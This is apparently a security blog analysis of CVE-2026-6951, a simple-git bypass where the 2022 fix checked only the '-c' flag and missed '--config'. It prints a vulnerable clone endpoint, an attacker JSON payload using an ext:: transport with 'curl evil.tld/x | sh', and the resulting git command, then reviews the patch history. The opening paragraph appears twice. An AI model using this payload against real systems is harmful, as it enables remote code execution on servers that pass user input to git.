//nefariousplan

CVE-2026-6951: simple-git's `isConfigSwitch` Returned True for One String

pattern

cve

proof of concept

On November 12, 2022, Steve King committed a fix for CVE-2022-25912 to simple-git. The fix was a TypeScript plugin called blockUnsafeOperationsPlugin, and inside it was a five-line function called isConfigSwitch. The function had one job: return true if and only if its argument, trimmed and lowercased, equaled the literal string -c. Git accepts that switch in two equivalent spellings, -c x=y and --config x=y. The plugin recognized one of them. CVE-2026-6951 is the long form of -c, sitting unpatched in the same repository for 1,240 days.

On November 12, 2022, Steve King committed a fix for CVE-2022-25912 to simple-git. The fix was a TypeScript plugin called blockUnsafeOperationsPlugin, and inside it was a five-line function called isConfigSwitch. The function had one job: return true if and only if its argument, trimmed and lowercased, equaled the literal string -c. Git accepts that switch in two equivalent spellings, -c x=y and --config x=y. The plugin recognized one of them. CVE-2026-6951 is the long form of -c, sitting unpatched in the same repository for 1,240 days.

The fix was a string equality check

Look at commit 6b3c631e from November 12, 2022. The whole plugin is forty-one lines, and the only function deciding whether an argument is a config override is this one:

function isConfigSwitch(arg: string) {
   return arg.trim().toLowerCase() === '-c';
}

The plugin's main loop walks every argument that simple-git will hand to the spawned git child process. For each one, it calls isConfigSwitch(current) and then tests the next argument against /^\s*protocol(.[a-z]+)?.allow/. If both match, the spawn is aborted. If either does not, the spawn proceeds.

The arg pair the plugin is looking for is -c protocol.ext.allow=always. That is the form Snyk reported in CVE-2022-25912: a caller who got user-controlled values into simple-git's variadic options array could append -c protocol.ext.allow=always to an otherwise innocuous git clone, flip git's protocol allowlist for the duration of that single command, and finish the chain with an ext:: clone source that runs an arbitrary shell command. The Snyk advisory SNYK-JS-SIMPLEGIT-3112221 described the primitive in plain text. The fix matched one string.

Git's own option parser does not care which spelling the caller used. From git help cli, -c <name>=<value> "passes a configuration parameter to the command. The value given will override values from configuration files. The <name> is expected in the same format as listed by git config (subkeys separated by dots)." From git help clone, --config <key>=<value> sets "a configuration variable in the newly-created repository; this takes effect immediately after the repository is initialized, but before the remote history is fetched or any files checked out."

Two flags. Same option. git -c protocol.ext.allow=always clone <url> and git clone --config protocol.ext.allow=always <url> are interchangeable as far as the security boundary is concerned. The 2022 patch matched the spelling. Git matched the option behind it.

What the bypass looks like

The exploit primitive is one line of attacker JSON once the consumer is shaped the way the simple-git README shows it. The library's clone signature accepts a variadic options array:

git.clone(repoUrl, targetDir, options);

A consumer that takes any part of options from untrusted input is the consumer this CVE describes. There are many: REST APIs that proxy git operations on behalf of a tenant, CI runners that take per-job clone configuration from a request body, build-as-a-service products that let a customer specify their own clone parameters. The vulnerable shape, in fewer than ten lines:

app.post('/clone', async (req, res) => {
   const { repo, opts } = req.body;
   await simpleGit().clone(repo, '/tmp/work', opts);
});

The attacker sends:

{
  "repo": "ext::sh -c 'curl evil.tld/x | sh'",
  "opts": ["--config", "protocol.ext.allow=always"]
}

simple-git assembles the spawn arguments. The plugin walks them. isConfigSwitch('--config') returns false, because '--config' is not equal to '-c'. The plugin's protocol-allow check never runs. Git is spawned as:

git clone --config protocol.ext.allow=always "ext::sh -c 'curl evil.tld/x | sh'" /tmp/work

--config protocol.ext.allow=always overrides git's default protocol.allow=user policy for the duration of the clone, unblocking the ext:: transport. git-remote-ext then runs the literal command between ext:: and the URL separator through /bin/sh -c. The attacker's shell command executes inside the simple-git process tree. The clone never reaches the network for a real repository, because there is no real repository.

This is the entire chain. There is no PoC repo to clone because there is no PoC needed. The CVE description names the primitive, the patch diff is on GitHub, and git-remote-ext has been the canonical Node-RCE primitive in simple-git's threat model since 2022. Snyk published the original advisory four years ago. The bypass is a literal substitution: replace -c with --config.

Three iterations before the rewrite

The story is not that the 2022 fix was wrong on day one. The story is what happened to it over the next three and a half years.

Date Commit Change
2022-11-12 6b3c631 Original CVE-2022-25912 fix. isConfigSwitch === '-c'. Five-line plugin matches one regex against the next arg.
2026-02-23 f704208 "In extension to CVE-2022-25912": switch the protocol.allow regex to case-insensitive. Credited to @CodeAnt-AI-Security.
2026-03-08 e253a0d "Fix/block unsafe 2603": extend preventUnsafeConfig from five regexes to eleven. Adds core.fsmonitor, core.gitProxy, core.hooksPath, and others.
2026-04-05 2e1f51c "Git argument parsing (#1141)": replace the entire plugin with @simple-git/argv-parser. Now matches -c, --config, and --config-env.
2026-04-12 tag [email protected] The version range named in the CVE record.

Three patches landed on the same one-function filter over four months. Each one added another regex, or made an existing one tolerant of upper-case letters, or named another core.X variant. None of them touched the function that decided whether the previous arg was a config switch. isConfigSwitch survived every iteration because every iteration treated each new attack vector as a new string to add, not as evidence the design was wrong.

The April 2026 commit message is Git argument parsing (#1141). It does not mention CVE-2022-25912. The changeset for @simple-git/[email protected] describes the change as follows:

Enhances scanning of arguments before passing on to the spawned child_process. Caters for -c flags prefixing the git task (used when setting global inline config) and suffixing with either -c, --config or --config-env. Detects git config operations that write to the configuration.

The maintainer named the bug class out loud, in a changeset note, three years and five months after the first fix. The CVE record for that named class was assigned six weeks later.

The replacement is an argv parser

The new analyse-config.ts collects every config override the way git itself parses them, and the predicate that decides "is this flag a config override" finally looks like a switch statement instead of a string equality check:

function detectConfigOverrideScope({ name }: Flag): ConfigScope | void {
   if (name === '-c' || name === '--config') {
      return 'inline';
   }
   if (name === '--config-env') {
      return 'env';
   }
}

The function is still pattern-matching strings. There is no semantic resolution of git's actual CLI grammar happening at this layer. But the strings it is matching are now the full set git itself recognizes for inline config, and the parser around it understands that -c x=y, -c x=y cluster forms, --config x=y (next token), and --config=x=y (joined-by-equals) all resolve to the same logical override before the policy check runs. The textual blocklist has been replaced by a parser that resolves equivalences first. That is the correct shape. It took 1,240 days to arrive at it.

The new package also blocks a longer list of config keys than the original plugin tracked. core.editor, credential.helper, diff.command, diff.textconv, filter.clean, filter.smudge, gpg.program, init.templateDir, merge.driver, mergetool.path, mergetool.cmd, remote.receivepack, remote.uploadpack, sequence.editor. Each of those is another way an attacker who reaches simple-git's options array can convince git to run an arbitrary binary. The 2022 plugin guarded one of them by name. The 2026 plugin guards fifteen, and it does so behind an argv parser that resolves the wrapper-form ambiguities first.

The substrate held

simple-git's blockUnsafeOperationsPlugin is design-debt-driver in its tightest, most legible form. The substrate is a one-function string filter sitting between user-controlled git arguments and git's own option parser. The filter's design assumed it could enumerate the dangerous spellings. Every patch added more spellings. The fifth CVE finally arrived at the question the second one should have answered: why is the wrapper grepping argv strings when the wrapped binary has a full CLI grammar?

This is the same shape as the ActiveMQ BrokerView deny list, where CVE-2026-34197 named one entry missing from a Set.of(...) literal and CVE-2026-40466 named another entry from the same literal twelve months later. Enumerating bad inputs is a design pattern that always has another row to add. The fix is to ask what the inputs are instances of and gate the class, not to keep extending the list.

The 2022 fix is dated November 12, 2022. The April 2026 rewrite landed on a Sunday afternoon, commit time 21:21 BST. Between those two timestamps, every Node.js backend that took user-controlled values into simple-git's options array had the same RCE primitive available. The instance count of how many times this was exploited in the wild is not in the public record. The substrate is.

PoC: steveukx/git-js (the simple-git source repository; see commit 6b3c631e for the original 2022 fix, 2e1f51c for the 2026 rewrite).

The name of the new component is @simple-git/argv-parser. The name of the old one was isConfigSwitch.